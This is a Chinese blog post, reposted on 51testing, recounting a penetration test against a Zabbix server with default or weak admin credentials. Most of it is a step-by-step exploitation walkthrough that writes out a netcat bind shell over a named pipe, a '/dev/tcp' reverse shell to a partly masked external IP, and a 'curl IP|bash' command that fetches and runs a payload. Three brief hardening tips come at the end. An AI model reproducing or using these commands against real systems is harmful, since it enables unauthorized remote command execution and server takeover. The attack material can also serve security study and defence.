记一次渗透测试过程中的Zabbix命令执行利用

发表于:2018-4-23 10:06

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:itlance_ouyang    来源:freebuf

  Zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。管理员在安装配置Zabbix过程中,使用了弱口令或默认的用户名与口令(Admin/zabbix),这样,Zabbix服务器的用户认证就形同虚设。攻击者可以创建“system.run[command,]”监控项执行命令,甚至获取服务器shell,进行各种挖矿行为。
  测试过程
  下面是获取Zabbix Admin口令的情况下,如何获取服务器shell的过程。
  1. 在“管理–>脚本”页面中创建一个script,如下图:
  “执行在”选择Zabbix 服务器,“命令”里输入:
  mkfifo /tmp/tmp_fifo
  cat /tmp/tmp_fifo | /bin/bash -i 2>&1 | nc -l 12345 > /tmp/tmp_fifo
  意思是用nc在12345端口上绑定一个反弹shell。
  2. 在“监测中–>问题”此界面点击一台服务器,随即会弹出一个“脚本”选项卡,点击上面创建的”nc shell”。
  这样上面的命令就会被执行。但是,由于选择的这台服务器没有安装nc,导致命令执行不成功。既然没有安装nc,那就给这台服务器安装nc呗!
  3.创建一个脚本,在命令里输入“yum –y install nc”,安装nc。
  4.执行步骤3当中的脚本失败,显示需要root权限才能执行。
  到这步,利用nc建立正向连接的shell是没戏了。
  5.这时,在“配置–>主机”界面可以看到Zabbix服务器监控着Linux平台的服务器。
  6.此时脑子回想着Linux服务器get shell的方法。既然能够命令执行,那我们是不是可以在一台服务器上开放一个特定的端口,构造好反弹shell的代码,只要有客户端连接此端口,那么客户端的shell就会反弹到我们那台服务器上。
  7.OK,那按照上面思路先在一个VPS上搭建一个Web服务器,在网站根目录下创建一个index.html,内容如下:
  sh -i >& /dev/tcp/52.**.***.78/12345 0>&1
  意思是与52..*.78这台服务器的12345端口建立tcp连接,并将自己的shell反弹到此服务器。
  8.在52..*.78这台服务器监听12345端口。
  9.然后在Zabbix服务器上创建一个脚本,用于反弹shell的建立。
  在命令里输入“curl 52..*.78|bash”。
  执行上面的脚本
  10.反弹shell建立成功。
  zabbix安全加固
  下面说一下如何对zabbix安全加固,防止这种情况发生:
  1、很重要的一点,zabbix的登录口令一定要复杂,不要用默认口令或弱口令;
  2、zabbix的server和agent都不要以root启动,不要设置AllowRoot=1;
  3、禁止agent执行system.run,不要设置EnableRemoteCommands=1。


上文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理。
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号